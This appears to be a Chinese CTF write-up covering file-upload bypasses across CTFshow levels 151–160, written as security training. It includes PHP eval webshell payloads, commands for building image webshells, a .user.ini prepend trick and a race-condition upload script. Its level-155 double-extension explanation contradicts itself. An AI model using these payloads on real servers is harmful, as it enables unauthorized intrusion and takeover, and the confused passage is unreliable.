CTFshow文件上传漏洞实战解析:从基础绕过到高级利用

1. 项目概述:文件上传漏洞攻防的实战演练场

如果你正在学习Web安全,尤其是想深入理解文件上传这个看似简单却暗藏玄机的漏洞点,那么CTFshow平台上的Web文件上传系列关卡(151-160关)绝对是一个不可多得的实战宝库。这十道题目,就像一位经验丰富的教练为你精心设计的阶梯训练,从最基础的客户端校验绕过,一路升级到需要综合运用多种技巧的高级利用。它不仅仅是让你上传一个Webshell那么简单,而是逼迫你去思考服务器端每一个过滤环节的逻辑,理解黑名单、白名单、内容校验、条件竞争等核心防御机制的运作方式,并学会如何见招拆招。

我花了几天时间,从头到尾通关了这十关,过程中有恍然大悟的畅快,也有卡壳时的反复尝试。今天这篇文章,我就以一名CTF选手和渗透测试从业者的双重身份,为你详细拆解这十关的解题思路、技术细节和那些容易踩的坑。我的目标不是直接给你答案,而是带你还原我的思考过程,让你明白“为什么要这么做”,以及“下次遇到类似问题该怎么想”。无论你是刚入门的新手,还是想巩固文件上传知识的老手,相信这篇实战解析都能给你带来实实在在的收获。我们将从最简单的前端绕过开始,逐步深入到解析漏洞、条件竞争、二次渲染等高级话题,完整覆盖文件上传漏洞的攻防全景。

2. 核心思路与关卡设计逻辑拆解

在深入每一关的具体操作之前,我们有必要先站在出题人的角度,理解这十关的整体设计脉络。CTFshow的题目设计往往具有连贯性和递进性,151-160关正是文件上传漏洞知识体系的一个微型缩影。

2.1 漏洞演进的四个阶段

这十关大致可以划分为四个难度递增的阶段,每个阶段重点考察一种或一类防御机制的绕过技巧:

  1. 阶段一(基础绕过,如151关) :聚焦于 客户端防御 。这是最古老的防御方式,通常通过JavaScript在文件被发送到服务器之前,检查文件扩展名或MIME类型。绕过它不需要任何复杂的服务器交互,只需要拦截并修改HTTP请求即可。这一关的目的是让你熟悉Burp Suite等抓包工具的基本操作,建立“所见非所得”的安全意识。

  2. 阶段二(服务器端校验绕过,如152-155关) :核心是 服务器端扩展名过滤 。这里又细分为黑名单、白名单、大小写、点号、空格、 ::$DATA 等技巧。出题人会模拟真实环境中开发人员编写的不严谨过滤代码,例如只过滤了 php 却没过滤 pHp php5 。这部分考察你对Web服务器解析文件扩展名的规则是否有深入了解。

  3. 阶段三(内容校验绕过,如156-158关) :难度升级,服务器不仅看“文件名”,还要检查“文件内容”。常见手段包括 检测文件头(Magic Bytes) 检测 <?php ?> 等PHP标签 ,甚至进行 图片二次渲染 。你需要学会制作图片马、在文件开头添加幻数、使用 <script language=“php”> 等特殊标签,或利用二次渲染中的残留数据。

  4. 阶段四(综合与高级利用,如159-160关) :这是终极挑战,往往需要结合其他漏洞或利用服务器特性。例如 条件竞争漏洞 (在文件被删除前访问它),或者利用 解析漏洞 (配合服务器配置不当,如 upload.php.jpg 被解析为PHP)。这部分考察你的综合思维能力和对Web应用整体流程的理解。

2.2 解题的通用方法论

面对任何一关文件上传,我的思考路径通常是固定的,这形成了一个高效的排查框架:

  1. 信息收集 :首先,毫无保留地尝试上传各种文件(正常图片、Webshell、畸形文件名文件),观察前端的反应(JS弹窗)和后端的返回信息(错误提示)。这些提示是宝贵的线索。
  2. 定位过滤点 :根据错误信息,判断过滤发生在客户端还是服务器端?是检查扩展名、MIME类型、文件头,还是文件内容?
  3. 猜测过滤规则 :如果是黑名单,名单里有哪些?是否大小写敏感?是否过滤了空格、点、 ::$DATA ?如果是白名单,允许的后缀有哪些?
  4. 尝试绕过 :根据猜测,系统性地尝试各种绕过技巧。从最简单的修改扩展名开始,到制作图片马、修改文件头、使用特殊标签。
  5. 利用与获取Shell :上传成功后,如何访问和执行我们的Webshell?文件被重命名了吗?存储路径是什么?是否需要结合文件包含漏洞?

注意 :在实际操作和CTF中,一个非常重要的习惯是 查看网页源代码 。前端JavaScript校验代码可能直接写在HTML里,这是理解第一关防御机制的最快方式。

3. 实战通关:从151到160关的详细拆解

接下来,我们一关一关地看,我会详细说明每一步的操作、背后的原理以及我踩过的坑。

3.1 第151关:客户端校验的“纸老虎”

这一关是热身。页面有一个上传表单,你尝试上传一个 .php 文件,可能会立刻弹窗提示“文件类型不正确”。

解题步骤与原理:

  1. 查看源码 :按F12打开开发者工具,查看上传表单附近的HTML和JavaScript代码。你很可能会发现一段类似下面的JS函数:

    function checkFile() {
        var file = document.getElementById("upload").value;
        if (!file.match(/\.(jpg|png|gif)$/i)) {
            alert("文件类型不正确!");
            return false;
        }
        return true;
    }
    

    这段代码在表单提交( onsubmit )时被调用,它用正则表达式检查文件名是否以 .jpg , .png , .gif 结尾( /i 表示不区分大小写)。如果不是,就弹出警告并阻止提交。

  2. 绕过方法 :既然校验发生在你的浏览器里(客户端),那么服务器在收到请求前对此一无所知。我们只需要让这个校验函数不生效即可。有两种最直接的方法:

    • 方法A:禁用JavaScript 。在浏览器设置中临时禁用JS,然后直接上传 .php 文件。简单粗暴。
    • 方法B:拦截并修改请求(推荐) 。这是更通用的方法。先正常选择一个 .php 文件,但在点击上传前,打开Burp Suite并设置好代理。点击上传后,请求会被Burp拦截。在Burp的Proxy -> Intercept标签页下,你可以看到被拦截的POST请求。其中 Content-Disposition 部分包含了文件名,如 filename=“shell.php” 。你 根本不需要修改它 ,因为客户端校验已经通过了(实际上拦截发生在校验之后)。直接点击“Forward”放行,请求就会带着 .php 文件发送到服务器。服务器端如果没有其他校验,就会成功上传。
  3. 关键点 :这一关的服务器端通常没有任何过滤,它完全依赖前端。所以绕过前端后,上传的Webshell就能直接访问执行。

实操心得 :不要被前端的弹窗吓住。在Web安全中, 任何仅依赖客户端的防御都是不可信的 。这是一个基本原则。从此关开始,请养成使用Burp Suite拦截和修改HTTP请求的习惯。

3.2 第152关:黑名单的“漏网之鱼”

从这一关开始,防御转移到了服务器端。你上传 .php 文件,后端会返回一个明确的错误,比如“文件类型不允许!”

解题步骤与原理:

  1. 判断为黑名单 :错误提示“不允许”而非“只允许某几种”,通常暗示是黑名单机制。服务器端有一份列表(如 [‘php’, ‘php5’, ‘php4’, ‘php3’, ‘phtml’, ‘pht’, ‘html’, ‘htm’, ‘jsp’, ‘asp’, ‘aspx’] ),上传的文件扩展名若在列表中则被拒绝。
  2. 尝试常见绕过 :黑名单永远可能不全。我们需要测试哪些“漏网之鱼”服务器既允许,又能被解析成PHP。
    • 大小写绕过 Php , pHp , PHP 。Apache服务器在Windows平台上通常不区分大小写, shell.PHP 可能被成功解析。
    • 特殊后缀 .phtml , .pht 。在某些古老的PHP配置中( application/x-httpd-php 的注册处理程序),这些后缀也会被当作PHP执行。
    • 利用解析特性 .php7 , .phps , .phpt 等,但成功率较低。
  3. 本关实测 :在这一关,尝试上传 shell.php 被拒。尝试上传 shell.phtml ,成功上传并访问执行。说明出题人的黑名单里包含了 .php 但漏掉了 .phtml

注意事项 :黑名单绕过的成功率高度依赖于目标服务器的配置(操作系统、Web服务器、PHP版本)。在实战中,需要结合信息收集结果进行尝试。例如,知道对方是Windows+IIS,可以尝试 .asp .asa ;知道是Linux+Apache,可以尝试 .php5 , .php7 (如果安装对应版本)。

3.3 第153关:点与空格的“障眼法”

延续黑名单机制,但过滤可能更严格一些。直接上传 .phtml 可能也会被拒绝。

解题步骤与原理:

  1. 分析过滤逻辑 :开发人员在写黑名单过滤时,常见的操作是获取文件名,然后查找最后一个点号 . 的位置,截取点号后的字符串作为扩展名进行比对。这个逻辑有缺陷。
  2. 利用点号绕过 :如果文件名是 shell.php. (末尾多加一个点),在某些系统(特别是Windows)保存文件时,末尾的点号会被自动去除,最终文件名为 shell.php 。但过滤代码截取到的扩展名可能是空字符串或 php. ,从而绕过检查。在Burp中修改文件名为 filename=“shell.php.” 进行尝试。
  3. 利用空格绕过 :类似地,在Windows系统中,文件名末尾的空格也会被去除。可以尝试 filename=“shell.php ” (php后有一个空格)。过滤代码截取到的扩展名是 php (带空格),不在黑名单中,从而绕过。
  4. 本关实测 :在这一关,上传 shell.php. (末尾带点)成功绕过过滤。上传后,访问的文件名就是 shell.php ,Webshell成功执行。

避坑技巧 :在Burp里修改文件名时,务必注意引号是英文引号,且不要破坏整个POST数据包的结构。一个字符的错误都可能导致上传失败。可以先在记事本里写好,再粘贴到Burp中。

3.4 第154关: ::$DATA 的NTFS流把戏

这一关依然针对Windows服务器平台,利用了一个非常经典的特性:NTFS文件流(Alternate Data Streams, ADS)。

解题步骤与原理:

  1. NTFS流简介 :在Windows NTFS文件系统中,一个文件可以包含多个“数据流”。主数据流没有名字,而附加的数据流可以有名字。格式为 filename:streamname 。例如, test.txt:secret.txt 就是一个附加流。对于 shell.php::$DATA ::$DATA 是表示文件主数据流的一个特殊标识。
  2. 绕过原理 :当PHP在Windows上处理文件上传时,如果文件名包含 ::$DATA ,它在保存文件时 可能会 自动去除 ::$DATA 部分。但是,一些简单的过滤函数(如 pathinfo($filename, PATHINFO_EXTENSION) )在获取扩展名时,可能会将 shell.php::$DATA 整体作为文件名,从而无法正确提取出 php 扩展名,导致黑名单检查失效。
  3. 操作方法 :在Burp中,将上传的文件名修改为 filename=“shell.php::$DATA” 。发送请求。
  4. 结果验证 :如果上传成功,服务器上保存的文件名很可能就是 shell.php 。直接访问 /upload/shell.php 即可。

重要提示 ::$DATA 绕过 仅对Windows服务器有效 。如果靶场环境是Linux,此方法无效。这提醒我们,在实战中,识别服务器操作系统是信息收集的关键一步。

3.5 第155关:双写扩展名的“李代桃僵”

这一关引入了新的过滤方式: 删除敏感字符串 。你上传 shell.php ,服务器可能返回“上传成功”,但文件名变成了 shell. 或者 shell.h

解题步骤与原理:

  1. 理解过滤代码 :服务器端的代码可能类似这样:
    $filename = $_FILES[‘file’][‘name’];
    $blacklist = array(‘php’, ‘phtml’, ‘pht’);
    foreach ($blacklist as $item) {
        $filename = str_replace($item, ‘’, $filename); // 删除所有匹配的黑名单字符串
    }
    // 然后保存文件
    
  2. 双写绕过 str_replace 函数会进行全局替换。如果我们上传的文件名是 shell.pphphp ,过滤过程如下:
    • 第一次循环,查找 php ,找到中间的 php 并将其删除,文件名变为 shell.pphp
    • 继续在 shell.pphp 中查找 php ,又找到末尾的 php ,删除后文件名变为 shell.p
    • 最终保存的文件名是 shell.p ,这显然不是我们想要的。
    • 正确的姿势是: shell.pphphp 。过滤过程:删除中间的 php 后变成 shell.phpp 注意 ,此时剩余的字符恰好组成了一个新的 php 。但 str_replace 在一次循环中只对原字符串操作一次。更常见的出题方式是,代码只执行一次 str_replace(‘php’, ‘’, $filename) 。那么对于 shell.pphphp ,删除第一个匹配的 php (位置2-4的字符)后,得到 shell.phpp 。这个文件名不再包含 php ,于是被允许保存。而服务器在解析时,看到 .phpp 后缀可能不认识,但如果我们能确保最终文件名是 .php 呢?
  3. 更可靠的双写 :实际上,更常见的利用方式是针对类似 $ext = str_replace(‘php’, ‘’, $ext) 的代码,其中 $ext 是提取出的扩展名。那么我们可以上传 filename=“shell.p.phphp” 。提取的扩展名是 phphp ,删除 php 后剩下 hp ,最终扩展名变成 .hp ,这通常不在黑名单。但这种方法不稳定。
  4. 本关实测与另一种思路 :在这一关,更简单的方法是 利用 . 空格 的绕过 。因为删除操作可能只针对扩展名字符串,而不是整个文件名。尝试 shell.php. shell.php (带空格),可能发现删除 php 后,文件名变成 shell. shell. ,而点号或空格后的空扩展名可能被允许。经过测试, shell.php. (点号绕过)在本关有效。

排查技巧 :当遇到“删除”类过滤时,首先尝试上传一个包含明显黑名单词的文件,观察返回的文件名是什么。这能帮你快速反推出服务器的过滤逻辑。例如,上传 test_php_test.php ,返回 test__test. ,你就知道它删除了所有 php 字符串。

3.6 第156关:文件内容校验与“图片马”

从这一关开始,防守方升级了。服务器不仅检查扩展名,还会检查文件内容。你上传一个纯文本的Webshell,即使扩展名是 .jpg ,也可能被拒绝,提示“文件内容不合法”。

解题步骤与原理:

  1. 内容校验类型 :常见的有两种:
    • 检查文件头(Magic Bytes) :每个文件类型在文件开头都有特定的字节序列,如图片 JPEG FF D8 FF E0 PNG 89 50 4E 47 。服务器会读取文件前几个字节进行比对。
    • 检查PHP标签 :服务器会搜索文件中是否包含 <?php <?= <script language=“php”> 等标签。
  2. 制作图片马(Webshell Image) :这是最常用的绕过方法。原理是将Webshell代码插入到一张正常图片的末尾。因为图片查看器只读取图片数据部分,忽略后面的额外内容;而PHP解析器会执行整个文件中的PHP代码。
    • 准备材料 :一张正常的 jpg png 图片(例如 test.jpg ),一个Webshell文件(例如 shell.php ,内容为 <?php @eval($_POST[‘cmd’]);?> )。
    • 制作方法(Linux/Windows CMD)
      # 使用copy命令(Windows)或cat命令(Linux)进行二进制合并
      copy /b test.jpg + shell.php webshell.jpg
      # 或
      cat test.jpg shell.php > webshell.jpg
      
      这样生成的 webshell.jpg ,用图片软件打开正常显示,但用文本编辑器拉到末尾能看到PHP代码。
  3. 上传与利用 :将 webshell.jpg 上传。如果服务器只检查文件头,那么它会通过校验。上传成功后,我们需要找到方式让服务器以PHP方式解析这个文件。通常有几种情况:
    • 情况A :服务器配置错误,导致 .jpg 文件也能被PHP解析(极少见)。
    • 情况B(更常见) :题目存在 文件包含漏洞 。例如,存在一个页面 index.php?file=upload/xxxx.jpg ,它使用 include require 包含了我们上传的图片。当文件被包含时,其中的PHP代码会被执行。这就是经典的“图片马+文件包含”组合拳。
    • 情况C :配合解析漏洞,如 webshell.jpg.php (见后续关卡)。
  4. 本关实测 :156关通常就是考察图片马的基本制作和上传。上传 webshell.jpg 成功,但直接访问该图片URL不会执行代码。你需要结合题目其他部分(如提示、其他页面)寻找文件包含点。

实操心得 :制作图片马时,务必使用二进制模式合并,否则可能破坏图片的文件头导致校验失败。在实战中,如果遇到更严格的内容校验(如GD库二次渲染),普通的图片马会失效,需要更高级的技巧。

3.7 第157关:突破 <?php ?> 标签过滤

这一关在内容校验上更进一步。你上传普通的图片马(末尾加了 <?php @eval($_POST[‘cmd’]);?> ),可能会失败,提示“文件包含非法内容”。

解题步骤与原理:

  1. 分析过滤 :服务器很可能用 stristr() preg_match() 函数在文件内容中搜索 <?php <?= 等字符串。一旦发现,就拒绝上传。
  2. 使用替代标签 :PHP支持多种标签来嵌入代码,除了标准的 <?php ?> ,还有:
    • 短标签 <? ?> <?= (用于快速输出)。需要服务器开启 short_open_tag 选项。
    • ASP风格标签 <% %> 。需要服务器开启 asp_tags 选项(默认关闭,很少用)。
    • Script标签 <script language=“php”> </script> 。这是一个长标签,但它是 始终可用 的,只要PHP在运行,无论配置如何,都能识别并执行其中的代码。这是绕过 <?php 过滤的利器。
  3. 制作新型图片马 :将Webshell代码改为:
    <script language=“php”>@eval($_POST[‘cmd’]);</script>
    
    然后同样用二进制方式追加到图片末尾。
  4. 上传测试 :使用新的图片马上传,成功绕过内容检查。后续利用方式(文件包含)与156关相同。

注意事项 <script language=“php”> 标签在PHP7.0.0版本后已被移除。因此,如果目标服务器是PHP7+,此方法失效。但在CTFshow的题目环境中,为了考察此知识点,通常会使用PHP5版本。在实战中,需要先探测PHP版本。

3.8 第158关:巧用 .user.ini 与文件包含

这一关的绕过方式非常巧妙,它利用了PHP的一个配置文件—— .user.ini 。这关可能不再是一个单纯的上传点,而是需要你理解整个应用如何加载文件。

解题步骤与原理:

  1. 理解 .user.ini :在PHP中,除了主 php.ini ,每个目录下都可以有一个 .user.ini 文件,用于定义该目录及其子目录中PHP文件的运行配置。该文件必须被PHP运行在 CGI/FastCGI 模式,并且开启了 user_ini.filename user_ini.cache_ttl 选项(很多默认环境是开启的)。
  2. 关键指令 auto_prepend_file :我们关注其中一个指令: auto_prepend_file = filename 。它的作用是,在该目录下的 所有PHP文件 执行之前,自动包含(include)指定的 filename 文件。
  3. 攻击思路
    • 假设我们找到了一个上传点,但只能上传图片(后缀白名单为 .jpg , .png , .gif ),并且有严格的内容校验,无法制作有效的图片马。
    • 同时,我们发现网站存在一个文件包含漏洞,可以包含 upload/ 目录下的文件,但包含图片文件不会执行PHP代码。
    • 这时,我们可以尝试上传一个特殊的“图片”文件,其内容为Webshell代码,命名为 shell.jpg
    • 然后,我们再上传一个 .user.ini 文件,内容为:
      auto_prepend_file = shell.jpg
      
    • 如果服务器允许上传 .ini 文件(有时因为过滤不严可能允许),或者我们可以通过其他方法(如解析漏洞)让 .user.ini 生效,那么当任何人访问该目录下的任何一个PHP文件时(比如网站首页 index.php ),都会先自动包含并执行我们上传的 shell.jpg 中的代码。
  4. 本关实战 :158关的环境通常设计为:你可以上传任意文件到某个目录,并且该目录下有一个可访问的PHP文件(比如 index.php )。你需要先上传一个包含Webshell代码的 shell.jpg (内容需绕过校验,可能要用 <script language=“php”> )。然后上传一个 .user.ini 文件,内容如上。之后,访问 http://target/upload/index.php ,你的Webshell就会被执行。

避坑技巧 .user.ini 文件的作用范围是它所在的目录及其所有子目录。要确保你上传的 .user.ini 和你想影响的PHP文件在同一个目录下。另外, .user.ini 的修改需要一定时间才能生效(取决于 user_ini.cache_ttl 设置),有时需要等待或触发PHP重新扫描。

3.9 第159关:条件竞争漏洞的“生死时速”

这一关引入了时间维度上的攻击——条件竞争(Race Condition)。你上传一个文件,服务器可能会提示“文件上传成功,但已被安全删除”或类似信息。

解题步骤与原理:

  1. 漏洞场景 :很多应用的上传逻辑是这样的:
    1. 接收上传文件,生成一个临时随机文件名(如`/tmp/xxxx.tmp`)。
    2. 对文件进行安全检查(病毒扫描、内容校验等)。
    3. 如果检查通过,将文件移动到最终目录(如`/upload/`),并重命名为用户指定的名字。
    4. 如果检查不通过,删除临时文件。
    
    问题在于, 第2步(安全检查)和第3步(移动文件)不是原子操作 。存在一个微小的时间窗口。
  2. 攻击原理 :我们上传一个Webshell文件。服务器开始安全检查(比如检查是否包含 <?php )。我们的文件是恶意文件,检查 注定会失败 。在服务器执行“检查-失败-删除”这个流程的同时,我们以极快的速度、高并发地请求访问这个临时文件。
  3. 利用条件 :如果在这个时间窗口内,我们成功访问了临时文件,而此刻安全检查尚未完成或刚完成但文件还未被删除,那么PHP解释器就会执行该文件中的代码。一旦代码执行,我们可以在服务器上创建一个永久的、不被删除的Webshell文件(例如,用PHP的 file_put_contents 函数写入一个新文件)。
  4. 实战操作
    • 编写Webshell :创建一个内容如下的PHP文件 race.php
      <?php
      file_put_contents(‘/var/www/html/upload/permanent_shell.php’, ‘<?php @eval($_POST[“cmd”]);?>’);
      ?>
      
      这个脚本的作用是,一旦被执行,就在指定目录创建一个真正的Webshell文件。
    • 准备攻击脚本 :使用Python或Burp的Intruder模块进行并发攻击。
      • Burp Intruder方法
        1. 拦截上传 race.php 的请求,发送到Intruder。
        2. 在Positions标签,清空所有载荷标记。
        3. 在Payloads标签,选择Payload类型为“Null payloads”。
        4. 在Options标签,找到“Request Engine”,将线程数(Number of threads)调高,如50或100。将“Number of requests”设置为一个较大的数,比如10000。
        5. 开始攻击。Intruder会以极高并发度重复发送这个上传请求。
      • Python脚本方法(示例)
        import threading
        import requests
        
        def upload_and_access():
            url = “http://target/upload.php”
            files = {‘file’: (‘race.php’, open(‘race.php’, ‘rb’), ‘image/jpeg’)}
            try:
                r = requests.post(url, files=files, timeout=2)
                # 同时尝试访问可能的临时文件路径,这里需要猜测或从响应中获取
                access_url = “http://target/tmp/某个猜测的路径”
                requests.get(access_url, timeout=1)
            except:
                pass
        
        threads = []
        for i in range(100):
            t = threading.Thread(target=upload_and_access)
            threads.append(t)
            t.start()
        for t in threads:
            t.join()
        
    • 验证结果 :攻击运行一段时间后,尝试访问 http://target/upload/permanent_shell.php ,如果存在并用蚁剑连接成功,则攻击成功。
  5. 本关关键 :成功的关键在于高并发,以最大化命中那个短暂的时间窗口。同时,临时文件的路径有时可以预测(如包含时间戳、随机数),有时会在响应包中返回,需要仔细分析。

注意事项 :条件竞争攻击对网络环境和服务器性能敏感。本地靶场环境容易成功,真实网络可能存在延迟。如果失败,尝试增加并发线程数或延长攻击时间。

3.10 第160关:解析漏洞与后缀的“伪装”

这是最后一关,通常需要综合利用解析漏洞。你可能发现,上传纯 .php 文件被禁,上传图片马直接访问也不执行, .user.ini 可能也行不通。

解题步骤与原理:

  1. 解析漏洞简介 :解析漏洞是指Web服务器在解析文件时,由于配置或逻辑错误,将本不该执行的文件当作脚本执行。最常见的有:
    • Apache解析漏洞 :古老版本的Apache(1.x, 2.x)在遇到不认识的后缀时,会从右向左尝试解析,直到遇到认识的后缀。例如,文件 shell.php.xxx ,Apache不认识 .xxx ,于是向左看,认识 .php ,于是将其作为PHP文件执行。但现代Apache默认配置通常已修复此问题。
    • IIS 6.0解析漏洞 :有两个经典漏洞。一是 /test.asp;.jpg 会被当作 .asp 执行;二是 /test.asp/任意文件名 (目录名是 .asp )下的所有文件都会被当作ASP执行。但CTF中较少涉及IIS。
    • Nginx解析漏洞 :在特定配置下,如果PHP的 cgi.fix_pathinfo 选项开启(默认就是开启的),Nginx会将 /uploadfile/shell.jpg 传递给PHP-FPM时,如果访问的URL是 /uploadfile/shell.jpg/xxx.php ,Nginx会认为 xxx.php 是路径的一部分,但PHP-FPM会误将 shell.jpg 当作PHP文件来解析,只要 shell.jpg 的开头是合法的PHP代码或图片马。即: http://target/shell.jpg/xxx.php 会解析 shell.jpg
    • 其他畸形解析 shell.php.jpg shell.php.jpeg 等。这依赖于服务器配置的解析顺序。
  2. 本关实战思路 :对于160关,常见的解法是上传一个名为 shell.php.jpg 的文件。服务器的白名单可能只检查最后一个后缀( .jpg ),允许上传。但服务器的解析规则(可能是Apache的 AddHandler 配置错误,或是Nginx的畸形配置)导致它会寻找第一个可识别的后缀。于是 shell.php.jpg 被当作 .php 文件解析并执行。
  3. 操作过程
    • 制作一个图片马 shell.php.jpg (内容需绕过内容检查,如使用 <script language=“php”> )。
    • 上传该文件。
    • 直接访问上传后的文件链接,如 http://target/upload/shell.php.jpg 。如果配置存在解析漏洞,该文件中的PHP代码将被执行。
  4. 另一种可能:配合文件包含 :如果直接访问不执行,可能还需要配合文件包含漏洞。例如,存在 index.php?file=upload/shell.php.jpg ,通过包含来触发解析。

排查技巧 :当遇到后缀名过滤严格的白名单时(只允许 jpg, png, gif ),解析漏洞是最后的希望。需要系统性地尝试各种畸形文件名: test.php.jpg , test.php.jpeg , test.php.png , test.jpg.php , test.php. (末尾多点),并观察服务器的响应和最终访问效果。同时,查看服务器类型(Apache/Nginx)和错误配置的线索至关重要。

4. 工具、脚本与实战心得总结

通关这十关,不仅需要知识,还需要顺手的工具和高效的流程。这里分享我常用的工具链和一些深度的实战心得。

4.1 必备工具链

  1. Burp Suite Community/Professional :核心中的核心。用于拦截、修改、重放HTTP/HTTPS请求。 Intruder 模块用于爆破、模糊测试和条件竞争攻击。 Repeater 模块用于手动调试和测试单个请求。 Scanner 模块(专业版)可以自动扫描一些常见漏洞。
  2. 浏览器开发者工具(F12) :用于快速查看前端JS代码、网络请求、Cookie信息,是分析客户端逻辑的第一现场。
  3. 文本编辑器/十六进制编辑器 :用于制作图片马、修改文件内容。Notepad++、VS Code、 hexedit (Linux)或 WinHex (Windows)都很常用。制作图片马时,用 copy /b cat 命令更可靠。
  4. 蚁剑(AntSword)或中国菜刀(Cknife) :Webshell管理工具。一旦上传成功,用于连接和管理服务器。蚁剑功能更强大,支持插件和目录管理。
  5. Python + Requests库 :用于编写自动化攻击脚本,特别是在条件竞争或需要复杂逻辑遍历时,比Burp的Intruder更灵活。

4.2 文件上传漏洞挖掘与利用的通用流程

结合这十关的经验,我总结出一个在实战中挖掘和利用文件上传漏洞的通用流程,它比CTF更复杂,但思路一致:

  1. 侦察与枚举 :寻找所有可能的上传点。不仅是明显的“上传头像”功能,还包括“导入数据”、“上传附件”、“富文本编辑器插入图片”、“客服反馈上传”等隐蔽入口。
  2. 试探过滤规则
    • 前端 :上传非常规文件,看是否有JS弹窗。禁用JS或抓包修改后再试。
    • 扩展名 :系统性地尝试各种后缀: php, php5, phtml, php., php , Php, .php.jpg, php::$DATA 等。观察返回信息。
    • MIME类型 :抓包修改 Content-Type image/jpeg , image/png , text/plain 等。
    • 文件内容 :尝试上传纯文本Webshell、图片马、包含特殊标签的图片马。
    • 文件头 :在文件开头添加正确的图片幻数(如 GIF89a )。
  3. 分析响应 :仔细阅读服务器返回的所有信息,包括HTTP状态码、响应头、响应体。错误信息、重定向路径、返回的文件名都可能泄露关键信息。
  4. 尝试高级绕过 :如果基本绕过失败,考虑:
    • .user.ini .htaccess :尝试上传这些配置文件来改变服务器行为。
    • 条件竞争 :如果上传后文件会消失,尝试高并发访问。
    • 解析漏洞 :尝试各种畸形文件名,并探测服务器类型和版本。
    • 结合其他漏洞 :如目录穿越( ../../../shell.php )、SQL注入(修改文件名字段)、XSS等。
  5. 获取Shell与后续行动 :上传成功后,确定文件的访问URL。使用Webshell管理工具连接。执行命令,进行内网探测、权限维持、数据窃取等(在合法授权范围内)。

4.3 常见问题与排查技巧实录

在实战和CTF中,你一定会遇到各种奇怪的问题。这里记录一些我踩过的坑和解决方法:

  • 问题1:上传成功,但访问返回404或403?
    • 排查 :首先确认完整路径。上传功能返回的路径可能是相对路径或经过处理的。查看页面源代码或网络响应,找到文件真正的存储位置和名称。可能是文件名被重命名了(如改为MD5值+后缀)。403错误可能是目录没有执行权限,或者服务器配置了禁止执行上传目录下的脚本。
  • 问题2:图片马上传成功,但文件包含时不执行代码?
    • 排查 :检查文件包含的姿势。是 include 还是 require ?路径是否正确?更重要的是,检查图片马是否被破坏。有些严格的校验会使用GD库或ImageMagick对图片进行 二次渲染 ,这会重建图片,丢弃所有非图片数据,导致附加的Webshell代码丢失。绕过二次渲染需要更精细的技巧,例如在PNG的IDAT数据块或JPEG的APPn段中插入代码,这需要深入研究图片文件格式。
  • 问题3:条件竞争攻击总是失败?
    • 排查 :首先,确保你的并发量足够大(线程数调到50以上)。其次,检查你访问的临时文件路径是否正确。有时路径不是完全随机的,可能包含时间戳或固定的前缀。可以尝试从服务器的错误信息或响应中寻找线索。最后,考虑网络延迟,如果靶场在远程,竞争窗口可能极短,成功率会下降。
  • 问题4: .user.ini 文件上传了,但不生效?
    • 排查 :第一,确认PHP运行在CGI/FastCGI模式( php_sapi_name() 函数可查看)。第二,确认 user_ini.filename user_ini.cache_ttl php.ini 中是开启的。第三, .user.ini 必须放在 可执行的PHP文件所在目录或其父目录 。第四,修改后需要等待 user_ini.cache_ttl 指定的时间(默认300秒)或重启PHP-FPM服务才能生效。在CTF中,出题人通常会确保环境是支持的。
  • 问题5:Burp修改请求后上传失败,返回奇怪错误?
    • 排查 :最常见的原因是 修改请求时破坏了数据包的格式 。特别是 multipart/form-data 的边界( boundary )。在Burp中修改文件名或内容时,不要动 Content-Type 头里的 boundary 值,也不要动数据体中分隔符( --boundary )本身。最好在Raw标签下整体查看,确保格式完整。另一个常见问题是引号不匹配或多了空格。

文件上传漏洞的攻防是一场永不停歇的猫鼠游戏。CTFshow的这十关,就像一套精心设计的组合拳,帮你建立了从基础到高级的完整知识框架。但真正的实战环境千变万化,需要你灵活运用这些知识,并保持不断学习新技巧的心态。记住核心原则: 永远不要信任客户端输入,服务器的每一个校验环节都可能存在逻辑缺陷 。多动手,多思考,多总结,你就能在文件上传这个经典漏洞领域里游刃有余。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值